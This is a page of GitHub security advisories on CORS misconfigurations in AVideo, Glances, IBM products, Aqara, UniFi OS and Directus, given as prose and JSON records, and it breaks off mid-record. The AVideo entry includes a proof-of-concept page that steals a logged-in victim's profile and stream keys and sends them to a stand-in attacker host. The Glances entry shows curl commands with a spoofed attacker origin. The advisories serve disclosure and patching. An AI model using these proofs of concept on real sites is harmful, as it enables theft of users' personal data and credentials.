Vulnerability-Lookup

GHSA-CCQ9-R5CW-5HWQ

Vulnerability from github – Published: 2026-04-14 23:18 – Updated: 2026-04-24 20:40

Summary

WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover

Details

Summary

The allowOrigin($allowAll=true) function in objects/functions.php reflects any arbitrary Origin header back in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true. This function is called by both plugin/API/get.json.php and plugin/API/set.json.php — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's SameSite=None session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.

Details

The vulnerable code path is in objects/functions.php lines 2773-2791:

// objects/functions.php:2773
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... allows all methods and headers ...
    return;
}

This is called unconditionally at the top of both API entry points:

// plugin/API/get.json.php:12
allowOrigin(true);

// plugin/API/set.json.php:12
allowOrigin(true);

The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same allowOrigin(true) call gates the entire API surface.

The attack is enabled by the session cookie configuration at objects/include_config.php:144:

ini_set('session.cookie_samesite', 'None');

This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via $_SESSION['user']['id'] (in User::getId()).

When a logged-in user's session is present, the get_api_user endpoint (API.php:3009) returns full user data without sanitization for the user's own profile ($isViewingOwnProfile = true bypasses removeSensitiveUserFields), including: - Email, full name, address, phone, birth date (PII) - Admin status and permission flags - Livestream server URL with embedded password (API.php:3059) - Encrypted stream key (API.php:3063)

The recent fix in commit 986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.

PoC

Step 1: Host the following HTML on any domain (e.g., https://attacker.example):

<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect',
    JSON.stringify({
      email: data.user?.email,
      name: data.user?.user,
      isAdmin: data.user?.isAdmin,
      streamKey: data.livestream?.key,
      streamServer: data.livestream?.server
    })
  );
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>

Step 2: Victim visits the attacker page while logged into the AVideo instance.

Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:

Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true

Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.

Step 5 (optional escalation): The attacker can also invoke set.json.php endpoints to perform state changes on behalf of the victim.

Impact

User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
State modification: The set.json.php endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim
Mass exploitation: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor

Recommended Fix

Replace the permissive origin reflection in allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:

// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        // Validate origin against site domain before reflecting
        $siteOrigin = '';
        if (!empty($global['webSiteRootURL'])) {
            $parsed = parse_url($global['webSiteRootURL']);
            if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
                $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
                if (!empty($parsed['port'])) {
                    $siteOrigin .= ':' . $parsed['port'];
                }
            }
        }
        if ($requestOrigin === $siteOrigin) {
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            header('Access-Control-Allow-Credentials: true');
        } else {
            // For truly public resources (ad XML), allow without credentials
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            // Do NOT set Allow-Credentials for untrusted origins
        }
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... rest of headers ...
}

Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive allowOrigin(true) call.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:18:19Z",
    "nvd_published_at": "2026-04-21T23:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` \u2014 the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application\u0027s `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.\n\n## Details\n\nThe vulnerable code path is in `objects/functions.php` lines 2773-2791:\n\n```php\n// objects/functions.php:2773\nif ($allowAll) {\n    $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n    if (!empty($requestOrigin)) {\n        header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n        header(\u0027Access-Control-Allow-Credentials: true\u0027);\n    } else {\n        header(\u0027Access-Control-Allow-Origin: *\u0027);\n    }\n    // ... allows all methods and headers ...\n    return;\n}\n```\n\nThis is called unconditionally at the top of both API entry points:\n\n```php\n// plugin/API/get.json.php:12\nallowOrigin(true);\n\n// plugin/API/set.json.php:12\nallowOrigin(true);\n```\n\nThe comment above the code claims \"These endpoints return public ad XML and carry no session-sensitive data\" \u2014 this is incorrect. The same `allowOrigin(true)` call gates the entire API surface.\n\nThe attack is enabled by the session cookie configuration at `objects/include_config.php:144`:\n\n```php\nini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n```\n\nThis ensures the browser sends the victim\u0027s session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION[\u0027user\u0027][\u0027id\u0027]` (in `User::getId()`).\n\nWhen a logged-in user\u0027s session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user\u0027s own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including:\n- Email, full name, address, phone, birth date (PII)\n- Admin status and permission flags\n- Livestream server URL with embedded password (API.php:3059)\n- Encrypted stream key (API.php:3063)\n\nThe recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched.\n\n## PoC\n\n**Step 1:** Host the following HTML on any domain (e.g., `https://attacker.example`):\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAVideo CORS PoC\u003c/h1\u003e\n\u003cscript\u003e\n// Step 1: Steal user profile data (PII, admin status, stream keys)\nfetch(\u0027https://TARGET/plugin/API/get.json.php?APIName=user\u0027, {\n  credentials: \u0027include\u0027\n})\n.then(r =\u003e r.json())\n.then(data =\u003e {\n  document.getElementById(\u0027result\u0027).textContent = JSON.stringify(data, null, 2);\n  // Exfiltrate to attacker server\n  navigator.sendBeacon(\u0027https://attacker.example/collect\u0027,\n    JSON.stringify({\n      email: data.user?.email,\n      name: data.user?.user,\n      isAdmin: data.user?.isAdmin,\n      streamKey: data.livestream?.key,\n      streamServer: data.livestream?.server\n    })\n  );\n});\n\u003c/script\u003e\n\u003cpre id=\"result\"\u003eLoading...\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Victim visits the attacker page while logged into the AVideo instance.\n\n**Step 3:** The browser sends a credentialed cross-origin GET request to the API. The server responds with:\n```\nAccess-Control-Allow-Origin: https://attacker.example\nAccess-Control-Allow-Credentials: true\n```\n\n**Step 4:** The attacker\u0027s JavaScript reads the full authenticated API response containing the victim\u0027s email, name, address, phone, admin status, livestream credentials, and stream keys.\n\n**Step 5 (optional escalation):** The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim.\n\n## Impact\n\n- **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page\n- **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking\n- **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts\n- **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim\n- **Mass exploitation**: No per-user targeting required \u2014 a single attacker page can harvest data from every logged-in visitor\n\n## Recommended Fix\n\nReplace the permissive origin reflection in `allowOrigin()` with validation against the site\u0027s configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does:\n\n```php\n// objects/functions.php:2773 \u2014 replace the $allowAll block with:\nif ($allowAll) {\n    $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n    if (!empty($requestOrigin)) {\n        // Validate origin against site domain before reflecting\n        $siteOrigin = \u0027\u0027;\n        if (!empty($global[\u0027webSiteRootURL\u0027])) {\n            $parsed = parse_url($global[\u0027webSiteRootURL\u0027]);\n            if (!empty($parsed[\u0027scheme\u0027]) \u0026\u0026 !empty($parsed[\u0027host\u0027])) {\n                $siteOrigin = $parsed[\u0027scheme\u0027] . \u0027://\u0027 . $parsed[\u0027host\u0027];\n                if (!empty($parsed[\u0027port\u0027])) {\n                    $siteOrigin .= \u0027:\u0027 . $parsed[\u0027port\u0027];\n                }\n            }\n        }\n        if ($requestOrigin === $siteOrigin) {\n            header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n            header(\u0027Access-Control-Allow-Credentials: true\u0027);\n        } else {\n            // For truly public resources (ad XML), allow without credentials\n            header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n            // Do NOT set Allow-Credentials for untrusted origins\n        }\n    } else {\n        header(\u0027Access-Control-Allow-Origin: *\u0027);\n    }\n    // ... rest of headers ...\n}\n```\n\nAdditionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.",
  "id": "GHSA-ccq9-r5cw-5hwq",
  "modified": "2026-04-24T20:40:43Z",
  "published": "2026-04-14T23:18:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ccq9-r5cw-5hwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41056"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/caf705f38eae0ccfac4c3af1587781355d24495e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover"
}

GHSA-CVV3-VCH8-MP39

Vulnerability from github – Published: 2024-08-02 00:31 – Updated: 2024-08-02 00:31

Details

Under certain circumstances the ExacqVision Web Services does not provide sufficient protection from untrusted domains.

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-32862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-01T22:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Under certain circumstances the ExacqVision Web Services does not provide sufficient protection from untrusted domains.",
  "id": "GHSA-cvv3-vch8-mp39",
  "modified": "2024-08-02T00:31:25Z",
  "published": "2024-08-02T00:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32862"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-214-02"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F4W8-52PM-GHR9

Vulnerability from github – Published: 2024-02-02 03:30 – Updated: 2024-02-02 03:30

Details

IBM PowerSC 1.3, 2.0, and 2.1 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains. IBM X-Force ID: 275130.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-50940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-02T01:15:08Z",
    "severity": "MODERATE"
  },
  "details": "IBM PowerSC 1.3, 2.0, and 2.1 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.  IBM X-Force ID:  275130.\n\n",
  "id": "GHSA-f4w8-52pm-ghr9",
  "modified": "2024-02-02T03:30:32Z",
  "published": "2024-02-02T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50940"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/275130"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7113759"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FP27-88FP-2PHG

Vulnerability from github – Published: 2026-08-17 17:04 – Updated: 2026-08-17 17:04

Summary

Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test — Bypassed by Any Multi-Origin Allowlist Containing the Wildcard

Details

Summary

Glances's REST API server includes a documented safety check intended to guarantee that cors_credentials=True can never be combined with an unrestricted CORS origin allowlist. The check compares the configured origin list to the wildcard using exact list equality (cors_origins == ["*"]) instead of a membership test. Any multi-entry origin configuration that merely includes "*" alongside other origins (e.g. cors_origins=*,https://trusted.example.com) bypasses the check entirely, while Starlette's underlying CORSMiddleware still treats the presence of "*" anywhere in the list as "allow all origins" and reflects the request's actual Origin header together with Access-Control-Allow-Credentials: true. This allows any website to read a victim's authenticated Glances monitoring data — including full process lists with command-line arguments — by exploiting the browser's automatic replay of cached HTTP Basic Auth credentials in a cross-origin request.

Details

glances/outputs/glances_restful_api.py:298:

if cors_origins == ["*"] and cors_credentials:
    logger.warning(...)
    cors_credentials = False

The intended guarantee is documented in glances/outputs/glances_stdout_api_restful_doc.py:247-260: "Setting cors_credentials=True with cors_origins= is not allowed. Glances will automatically disable credentials and log a warning if this combination is detected."* The exact-equality comparison only matches when cors_origins is precisely the single-element list ["*"]. Starlette's CORSMiddleware, by contrast, determines wildcard behavior via "*" in allow_origins — a membership test — so any multi-entry list containing "*" is still treated by Starlette as "allow all origins," while Glances's own guard silently fails to disable credentials for that case, breaking the documented guarantee with no warning logged.

This is the same exact-match-versus-membership-test bug shape that CVE-2026-46608 fixed in the sibling XML-RPC server (glances/server.py, which correctly performs if '*' in cors_origins:). The REST API's analogous check was never updated to the corrected pattern.

PoC

Configuration:

[outputs]
cors_origins=*,https://trusted.example.com
cors_credentials=true

# Confirm auth is required
curl -s -i http://127.0.0.1:36212/api/4/cpu
-> 401 Unauthorized, www-authenticate: Basic

# Authenticated request, Origin header set to an arbitrary domain never configured
curl -s -i -u glances:<password> -H "Origin: https://totally-evil-attacker.com" \
  http://127.0.0.1:36212/api/4/cpu
-> 200 OK
   access-control-allow-origin: https://totally-evil-attacker.com
   access-control-allow-credentials: true
   {"total": 0.0, "user": 0.0, ...}

# Same against the process list, exposing command lines/usernames/PIDs
curl -s -u glances:<password> -H "Origin: https://totally-evil-attacker.com" \
  http://127.0.0.1:36212/api/4/processlist
-> [{"cmdline": [...], "username": "...", "pid": ..., ...}, ...]
   (same access-control-allow-origin / access-control-allow-credentials headers)

Impact

Any operator who configures cors_origins as a multi-entry list that includes the wildcard alongside one or more specific trusted origins — a plausible configuration mistake given the documented default is the bare wildcard, and an operator attempting to additionally permit a second legitimate dashboard origin may not realize the wildcard must first be removed — silently loses the documented credentials-disable protection. Any third-party website can then read the full authenticated monitoring dataset of any visitor who has previously logged into that Glances instance via their browser, including process command-line arguments (which frequently contain secrets passed as CLI flags), usernames, and PIDs.

Remediation suggestion

Change the check at glances_restful_api.py:298 from cors_origins == ["*"] to "*" in cors_origins, matching the corrected pattern already used in glances/server.py for the XML-RPC server.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:04:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nGlances\u0027s REST API server includes a documented safety check intended to guarantee that `cors_credentials=True` can never be combined with an unrestricted CORS origin allowlist. The check compares the configured origin list to the wildcard using exact list equality (`cors_origins == [\"*\"]`) instead of a membership test. Any multi-entry origin configuration that merely includes `\"*\"` alongside other origins (e.g. `cors_origins=*,https://trusted.example.com`) bypasses the check entirely, while Starlette\u0027s underlying `CORSMiddleware` still treats the presence of `\"*\"` anywhere in the list as \"allow all origins\" and reflects the request\u0027s actual `Origin` header together with `Access-Control-Allow-Credentials: true`. This allows any website to read a victim\u0027s authenticated Glances monitoring data \u2014 including full process lists with command-line arguments \u2014 by exploiting the browser\u0027s automatic replay of cached HTTP Basic Auth credentials in a cross-origin request.\n\n### Details\n`glances/outputs/glances_restful_api.py:298`:\n```python\nif cors_origins == [\"*\"] and cors_credentials:\n    logger.warning(...)\n    cors_credentials = False\n```\nThe intended guarantee is documented in `glances/outputs/glances_stdout_api_restful_doc.py:247-260`: *\"Setting cors_credentials=True with cors_origins=* is not allowed. Glances will automatically disable credentials and log a warning if this combination is detected.\"* The exact-equality comparison only matches when `cors_origins` is precisely the single-element list `[\"*\"]`. Starlette\u0027s `CORSMiddleware`, by contrast, determines wildcard behavior via `\"*\" in allow_origins` \u2014 a membership test \u2014 so any multi-entry list containing `\"*\"` is still treated by Starlette as \"allow all origins,\" while Glances\u0027s own guard silently fails to disable credentials for that case, breaking the documented guarantee with no warning logged.\n\nThis is the same exact-match-versus-membership-test bug shape that CVE-2026-46608 fixed in the sibling XML-RPC server (`glances/server.py`, which correctly performs `if \u0027*\u0027 in cors_origins:`). The REST API\u0027s analogous check was never updated to the corrected pattern.\n\n### PoC\nConfiguration:\n```ini\n[outputs]\ncors_origins=*,https://trusted.example.com\ncors_credentials=true\n```\n```\n# Confirm auth is required\ncurl -s -i http://127.0.0.1:36212/api/4/cpu\n-\u003e 401 Unauthorized, www-authenticate: Basic\n\n# Authenticated request, Origin header set to an arbitrary domain never configured\ncurl -s -i -u glances:\u003cpassword\u003e -H \"Origin: https://totally-evil-attacker.com\" \\\n  http://127.0.0.1:36212/api/4/cpu\n-\u003e 200 OK\n   access-control-allow-origin: https://totally-evil-attacker.com\n   access-control-allow-credentials: true\n   {\"total\": 0.0, \"user\": 0.0, ...}\n\n# Same against the process list, exposing command lines/usernames/PIDs\ncurl -s -u glances:\u003cpassword\u003e -H \"Origin: https://totally-evil-attacker.com\" \\\n  http://127.0.0.1:36212/api/4/processlist\n-\u003e [{\"cmdline\": [...], \"username\": \"...\", \"pid\": ..., ...}, ...]\n   (same access-control-allow-origin / access-control-allow-credentials headers)\n```\n\n### Impact\nAny operator who configures `cors_origins` as a multi-entry list that includes the wildcard alongside one or more specific trusted origins \u2014 a plausible configuration mistake given the documented default is the bare wildcard, and an operator attempting to additionally permit a second legitimate dashboard origin may not realize the wildcard must first be removed \u2014 silently loses the documented credentials-disable protection. Any third-party website can then read the full authenticated monitoring dataset of any visitor who has previously logged into that Glances instance via their browser, including process command-line arguments (which frequently contain secrets passed as CLI flags), usernames, and PIDs.\n\n### Remediation suggestion\nChange the check at `glances_restful_api.py:298` from `cors_origins == [\"*\"]` to `\"*\" in cors_origins`, matching the corrected pattern already used in `glances/server.py` for the XML-RPC server.",
  "id": "GHSA-fp27-88fp-2phg",
  "modified": "2026-08-17T17:04:51Z",
  "published": "2026-08-17T17:04:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-fp27-88fp-2phg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/890858944ab9d03730ec6b1ba42d4015e6d85db5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test \u2014 Bypassed by Any Multi-Origin Allowlist Containing the Wildcard"
}

GHSA-FQ2G-WF56-3PRG

Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31

Details

IBM UCD - IBM DevOps Deploy 8.1 through 8.1.2.6, and 8.2 through 8.2.1.0 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-12084"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:28Z",
    "severity": "MODERATE"
  },
  "details": "IBM UCD - IBM DevOps Deploy 8.1 through 8.1.2.6, and 8.2 through 8.2.1.0 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.",
  "id": "GHSA-fq2g-wf56-3prg",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12084"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7277575"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FQRJ-M2F5-X9PJ

Vulnerability from github – Published: 2026-06-12 18:31 – Updated: 2026-06-12 18:31

Details

The Aqara Developer Portal (developer.aqara.com) and shared test environments (developer-test.aqara.com, aiot-test.aqara.com) exhibit cross-origin request sharing, which is an instance of "CWE-942: Permissive Cross-domain Policy with Untrusted Domains," and has an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N (8.2 High).

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-50088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-12T16:16:32Z",
    "severity": "HIGH"
  },
  "details": "The Aqara Developer Portal (developer.aqara.com) and shared test environments (developer-test.aqara.com, aiot-test.aqara.com) exhibit cross-origin request sharing, which is an instance of \"CWE-942: Permissive Cross-domain Policy with Untrusted Domains,\" and has an estimated CVSS of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N (8.2 High).",
  "id": "GHSA-fqrj-m2f5-x9pj",
  "modified": "2026-06-12T18:31:59Z",
  "published": "2026-06-12T18:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50088"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xn0tsa/theres-no-place-like-home"
    },
    {
      "type": "WEB",
      "url": "https://www.runzero.com/advisories/aqara-dev-portal-cors-cve-2026-50088"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FWMW-87X4-WJV5

Vulnerability from github – Published: 2026-07-02 15:32 – Updated: 2026-07-02 15:32

Details

A malicious actor who lures an authenticated user to a malicious page could exploit a Cross-Origin Resource Sharing (CORS) misconfiguration found in UniFi OS to trigger actions in UniFi OS using that user's session.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-55110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T15:17:04Z",
    "severity": "HIGH"
  },
  "details": "A malicious actor who lures an authenticated user to a malicious page could exploit a Cross-Origin Resource Sharing (CORS) misconfiguration found in UniFi OS to trigger actions in UniFi OS using that user\u0027s session.",
  "id": "GHSA-fwmw-87x4-wjv5",
  "modified": "2026-07-02T15:32:13Z",
  "published": "2026-07-02T15:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55110"
    },
    {
      "type": "WEB",
      "url": "https://community.ui.com/releases/Security-Advisory-Bulletin-066-066/984eceb3-49c8-4227-942d-671c289b3afc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G27J-74FP-XFPR

Vulnerability from github – Published: 2022-04-05 18:31 – Updated: 2025-04-14 22:07

Summary

Insecure default value for CORS configuration

Details

Impact

The default value for the CORS_ENABLED and CORS_ORIGIN configuration was set to be very permissive by default. This could lead to unauthorized access in uncontrolled environments when the configuration hasn't been changed.

Patches

The default values for CORS have been changed in https://github.com/directus/directus/pull/12022 which is released under 9.7.0

Workarounds

Configure the CORS environment variables to match your project's usage, rather than leaving them at the (permissive) defaults.

For more information

If you have any questions or comments about this advisory: * Open an issue in directus/directus * Email us at security@directus.io

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "directus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-26969"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-05T18:31:22Z",
    "nvd_published_at": "2022-12-26T06:15:00Z",
    "severity": "CRITICAL"
  },
